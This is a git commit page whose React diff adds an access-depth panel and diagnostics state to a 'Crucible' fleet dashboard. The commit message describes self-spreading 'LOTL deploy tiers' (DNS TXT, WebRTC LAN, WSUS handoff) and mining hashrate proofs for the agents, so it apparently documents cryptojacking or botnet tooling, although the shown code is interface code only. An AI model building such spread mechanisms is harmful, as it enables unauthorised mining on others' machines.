Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
@@ -23,11 +23,13 @@ import type { WSCommandResult } from '../types/ws';
|
||||
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import AccessDepthPanel from '../components/Fleet/AccessDepthPanel';
|
||||
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
|
||||
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
|
||||
import RiskBadge from '../components/Fleet/RiskBadge';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import { parseTierReport } from '../types/lotl';
|
||||
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
@@ -126,7 +128,7 @@ type RichTermData =
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
const AGENT_COLORS = [
|
||||
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#00e8f5', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
|
||||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||||
];
|
||||
@@ -134,7 +136,7 @@ const AGENT_COLORS = [
|
||||
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||||
if (groupColor) return groupColor;
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00e8f5';
|
||||
}
|
||||
|
||||
export function sshBadge(agent: Agent) {
|
||||
@@ -376,6 +378,7 @@ export default function CruciblePage() {
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
const [accessDepthByAgent, setAccessDepthByAgent] = useState<Record<string, AccessDepthDiagnostics>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
|
||||
@@ -568,6 +571,8 @@ export default function CruciblePage() {
|
||||
} else if (r.action === 'mining_diagnostics') {
|
||||
const blockers = parsed.likely_blockers ?? parsed.blockers;
|
||||
const tierFields = parseTierReport(parsed as Record<string, unknown>);
|
||||
const depthDiag = parseAccessDepthDiagnostics(parsed as Record<string, unknown>);
|
||||
setAccessDepthByAgent((prev) => ({ ...prev, [aid]: depthDiag }));
|
||||
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
|
||||
richData = {
|
||||
type: 'mining_diagnostics',
|
||||
@@ -1086,6 +1091,7 @@ export default function CruciblePage() {
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
selectedAgents={selectedAgents}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
@@ -1333,6 +1339,13 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{focusedAgent && (
|
||||
<AccessDepthPanel
|
||||
agent={focusedAgent}
|
||||
diagnostics={accessDepthByAgent[focusedAgent.id]}
|
||||
/>
|
||||
)}
|
||||
|
||||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||||
<div className="crucible-row">
|
||||
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
|
||||
Reference in New Issue
Block a user